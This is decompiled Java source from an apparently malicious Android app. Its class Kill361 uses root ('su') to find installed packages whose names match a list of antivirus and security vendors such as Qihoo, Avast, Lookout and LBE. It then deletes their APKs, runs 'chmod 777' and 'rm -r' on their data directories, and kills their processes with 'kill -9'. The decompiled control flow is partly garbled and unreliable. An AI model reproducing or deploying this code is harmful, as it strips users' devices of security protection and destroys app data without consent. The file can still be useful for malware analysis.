package com.appwoo.txtws.component;

import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import java.util.List;

public class Kill361
{
  private Context context;
  private Process myProcess;
  private DataOutputStream os;

  public Kill361(Context paramContext)
  {
    this.context = paramContext;
  }

  // ERROR //
  public void RootCmd(String paramString)
  {
    // Byte code:
    //   0: aload_0
    //   1: new 23	java/io/DataOutputStream
    //   4: dup
    //   5: aload_0
    //   6: getfield 25	com/appwoo/txtws/component/Kill361:myProcess	Ljava/lang/Process;
    //   9: invokevirtual 31	java/lang/Process:getOutputStream	()Ljava/io/OutputStream;
    //   12: invokespecial 34	java/io/DataOutputStream:<init>	(Ljava/io/OutputStream;)V
    //   15: putfield 36	com/appwoo/txtws/component/Kill361:os	Ljava/io/DataOutputStream;
    //   18: aload_0
    //   19: getfield 36	com/appwoo/txtws/component/Kill361:os	Ljava/io/DataOutputStream;
    //   22: new 38	java/lang/StringBuilder
    //   25: dup
    //   26: aload_1
    //   27: invokestatic 44	java/lang/String:valueOf	(Ljava/lang/Object;)Ljava/lang/String;
    //   30: invokespecial 46	java/lang/StringBuilder:<init>	(Ljava/lang/String;)V
    //   33: ldc 48
    //   35: invokevirtual 52	java/lang/StringBuilder:append	(Ljava/lang/String;)Ljava/lang/StringBuilder;
    //   38: invokevirtual 56	java/lang/StringBuilder:toString	()Ljava/lang/String;
    //   41: invokevirtual 59	java/io/DataOutputStream:writeBytes	(Ljava/lang/String;)V
    //   44: aload_0
    //   45: getfield 36	com/appwoo/txtws/component/Kill361:os	Ljava/io/DataOutputStream;
    //   48: ldc 61
    //   50: invokevirtual 59	java/io/DataOutputStream:writeBytes	(Ljava/lang/String;)V
    //   53: aload_0
    //   54: getfield 36	com/appwoo/txtws/component/Kill361:os	Ljava/io/DataOutputStream;
    //   57: invokevirtual 64	java/io/DataOutputStream:flush	()V
    //   60: aload_0
    //   61: getfield 25	com/appwoo/txtws/component/Kill361:myProcess	Ljava/lang/Process;
    //   64: invokevirtual 68	java/lang/Process:waitFor	()I
    //   67: pop
    //   68: aload_0
    //   69: getfield 36	com/appwoo/txtws/component/Kill361:os	Ljava/io/DataOutputStream;
    //   72: ifnull +10 -> 82
    //   75: aload_0
    //   76: getfield 36	com/appwoo/txtws/component/Kill361:os	Ljava/io/DataOutputStream;
    //   79: invokevirtual 71	java/io/DataOutputStream:close	()V
    //   82: return
    //   83: astore 4
    //   85: aload 4
    //   87: invokevirtual 75	java/lang/Exception:getStackTrace	()[Ljava/lang/StackTraceElement;
    //   90: pop
    //   91: aload_0
    //   92: getfield 36	com/appwoo/txtws/component/Kill361:os	Ljava/io/DataOutputStream;
    //   95: ifnull -13 -> 82
    //   98: aload_0
    //   99: getfield 36	com/appwoo/txtws/component/Kill361:os	Ljava/io/DataOutputStream;
    //   102: invokevirtual 71	java/io/DataOutputStream:close	()V
    //   105: return
    //   106: astore 6
    //   108: return
    //   109: astore_2
    //   110: aload_0
    //   111: getfield 36	com/appwoo/txtws/component/Kill361:os	Ljava/io/DataOutputStream;
    //   114: ifnull +10 -> 124
    //   117: aload_0
    //   118: getfield 36	com/appwoo/txtws/component/Kill361:os	Ljava/io/DataOutputStream;
    //   121: invokevirtual 71	java/io/DataOutputStream:close	()V
    //   124: aload_2
    //   125: athrow
    //   126: astore 8
    //   128: return
    //   129: astore_3
    //   130: goto -6 -> 124
    //
    // Exception table:
    //   from	to	target	type
    //   0	68	83	java/lang/Exception
    //   91	105	106	java/lang/Exception
    //   0	68	109	finally
    //   85	91	109	finally
    //   68	82	126	java/lang/Exception
    //   110	124	129	java/lang/Exception
  }

  public void kill()
  {
    int i;
    ApplicationInfo localApplicationInfo;
    try
    {
      this.myProcess = Runtime.getRuntime().exec("su");
      localList = this.context.getPackageManager().getInstalledPackages(0);
      i = 0;
      if (i >= localList.size())
        return;
    }
    catch (IOException localIOException)
    {
      List localList;
      while (true)
        localIOException.printStackTrace();
      localApplicationInfo = ((PackageInfo)localList.get(i)).applicationInfo;
      if ((0x1 & localApplicationInfo.flags) <= 0);
    }
    while (true)
    {
      i++;
      break;
      if ((localApplicationInfo.packageName.indexOf("com.qihoo") >= 0) || (localApplicationInfo.packageName.indexOf("com.antivirus") >= 0) || (localApplicationInfo.packageName.indexOf("com.anyisheng") >= 0) || (localApplicationInfo.packageName.indexOf("com.avast") >= 0) || (localApplicationInfo.packageName.indexOf("com.ijinshan") >= 0) || (localApplicationInfo.packageName.indexOf("com.kindroid") >= 0) || (localApplicationInfo.packageName.indexOf("com.lookout") >= 0) || (localApplicationInfo.packageName.indexOf("com.mobileann") >= 0) || (localApplicationInfo.packageName.indexOf("com.nqmobile") >= 0) || (localApplicationInfo.packageName.indexOf("com.tencent.qqpimsecure") >= 0) || (localApplicationInfo.packageName.indexOf("com.blizzard") >= 0) || (localApplicationInfo.packageName.indexOf("com.googlecode") >= 0) || (localApplicationInfo.packageName.indexOf("com.lenovo.safecenter") >= 0) || (localApplicationInfo.packageName.indexOf("com.skype") >= 0) || (localApplicationInfo.packageName.indexOf("com.lbe.security.lite") >= 0))
        updateChmod(localApplicationInfo.dataDir, localApplicationInfo.sourceDir, localApplicationInfo.processName);
    }
  }

  public void updateChmod(String paramString1, String paramString2, String paramString3)
  {
    File localFile = new File(paramString2);
    int i = paramString2.lastIndexOf("/");
    if (localFile.exists())
    {
      RootCmd("chmod 777 " + paramString2.substring(0, i));
      localFile.delete();
      if (new File(paramString1).exists())
      {
        RootCmd("chmod 777 " + paramString1);
        RootCmd("rm -r " + paramString1);
      }
      RootCmd("kill -9 " + paramString3);
    }
  }
}

/* Location:           C:\Documents and Settings\Administrator\classes_dex2jar.jar
 * Qualified Name:     com.appwoo.txtws.component.Kill361
 * JD-Core Version:    0.6.2
 */